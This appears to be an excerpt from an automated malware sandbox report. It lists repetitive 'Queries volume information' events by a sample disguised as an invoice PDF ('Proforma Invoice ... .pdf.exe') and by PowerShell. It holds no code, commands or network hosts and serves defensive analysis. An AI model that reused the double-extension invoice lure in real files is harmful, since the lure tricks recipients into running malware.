Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
